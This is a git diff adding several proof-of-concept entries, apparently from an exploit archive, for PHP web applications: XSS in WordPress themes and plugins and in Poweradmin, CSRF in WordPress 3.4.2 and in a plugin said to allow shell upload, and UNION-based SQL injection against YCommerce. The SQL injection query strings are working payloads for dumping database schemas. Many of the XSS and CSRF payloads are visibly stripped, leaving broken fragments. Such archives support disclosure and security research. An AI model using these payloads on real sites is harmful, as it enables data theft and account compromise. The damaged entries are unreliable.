+http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-users-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-themes-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-theme-install-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-terms-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-posts-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-plugins-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-plugin-install-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-ms-users-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-ms-themes-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-ms-sites-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-media-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-links-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ssh2.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpsockets.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpext.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-direct.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-wp-comments-list-table.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-ftp-sockets.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/class-ftp-pure.php +http://www.example.com/learn/t/wordpress/wp-admin/includes/admin.php +http://www.example.com/learn/t/wordpress/wp-admin/admin-functions.php + diff --git a/platforms/php/webapps/37827.txt b/platforms/php/webapps/37827.txt new file mode 100755 index 000000000..fd14901be --- /dev/null +++ b/platforms/php/webapps/37827.txt @@ -0,0 +1,25 @@ +source: http://www.securityfocus.com/bid/55605/info + +Purity theme for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Purity 1.3 is vulnerable; other versions may also be affected. + +http://www.example.com/wordpress/index.php?m=top&s='> + +The "ContactName" ,"email" ,"subject" ,"comments", variables are not +properly sanitized before being used + +Exploit: + +POST /contact/ HTTP/1.0 +Content-Length: 82 +Accept: */* +Accept-Language: en-US +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) +Host: exploit-masters.com +Content-Type: application/x-www-form-urlencoded +Referer: http://www.example.com/wordpress/contact/ + +contactName=>"'>&email=&subject=&comments=&submitted= diff --git a/platforms/php/webapps/37828.txt b/platforms/php/webapps/37828.txt new file mode 100755 index 000000000..d12005f5b --- /dev/null +++ b/platforms/php/webapps/37828.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/55619/info + +Poweradmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +http://www.example.com/index.php/%3E%22%3E%3CScRiPt%3Ealert%28415833140173%29%3C/ScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/37829.txt b/platforms/php/webapps/37829.txt new file mode 100755 index 000000000..6d2896837 --- /dev/null +++ b/platforms/php/webapps/37829.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/55622/info + +The MF Gig Calendar plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +MF Gig Calendar 0.9.4.1 is vulnerable; other versions may also be affected. + +GET /wp/?page_id=2&"> HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/37833.txt b/platforms/php/webapps/37833.txt new file mode 100755 index 000000000..6f5bd1b4a --- /dev/null +++ b/platforms/php/webapps/37833.txt @@ -0,0 +1,26 @@ +source: http://www.securityfocus.com/bid/55653/info + +YCommerce is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. + +A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. + +Proof of Concept - YCommerce Reseller +------------------------------------- +GET Param "cPath" - [Number of columns may vary] +/store/index.php?cPath=1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61-- +/store/index.php?cPath=1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61-- +/store/index.php?cPath=1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61-- + +GET Param "news_id" - [Number of columns may vary] +/store/index.php?pag=news&news_id=-1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7,8 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61-- + + +Proof of Concept - YCommerce Pro +-------------------------------- +GET Param "enterprise_id" - [Number of columns may vary] +/store/default.php?enterprise_id=-1 union all select 1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5,6,7 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61 + +GET Param "news_id" - [Number of columns may vary] +/store/index.php?pag=news&news_id=-1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7,8 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61-- + + diff --git a/platforms/php/webapps/37835.html b/platforms/php/webapps/37835.html new file mode 100755 index 000000000..491e7bd3f --- /dev/null +++ b/platforms/php/webapps/37835.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/55660/info + +WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests. + +Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible. + +WordPress 3.4.2 is vulnerable; other versions may also be affected. + +

How Many Girls You Have? xD))

\ No newline at end of file diff --git a/platforms/php/webapps/37836.txt b/platforms/php/webapps/37836.txt new file mode 100755 index 000000000..2004bb9f3 --- /dev/null +++ b/platforms/php/webapps/37836.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/55664/info + +The Token Manager plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Token Manager 1.0.2 is vulnerable; other versions may also be affected. + +http://www.example.com/wp-admin/admin.php?page=tokenmanageredit&tid= +http://www.example.com/wp-admin/admin.php?page=tokenmanagertypeedit&tid= diff --git a/platforms/php/webapps/37837.html b/platforms/php/webapps/37837.html new file mode 100755 index 000000000..61b88414a --- /dev/null +++ b/platforms/php/webapps/37837.html @@ -0,0 +1,35 @@ +source: http://www.securityfocus.com/bid/55666/info + +The Sexy Add Template plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests. + +Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible. + +Sexy Add Template 1.0 is vulnerable; other versions may also be affected. + +################################################################################# + # + # [ Information Details ] + # - Wordpress Plugin Sexy Add Template: + # Attacker allow CSRF Upload Shell. + # http://localhost/wp-admin/themes.php?page=AM-sexy-handle <--- Vuln CSRF, not require verification CODE "wpnonce". + # + # + # + # + # Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability + # + # + #
+ # + # + #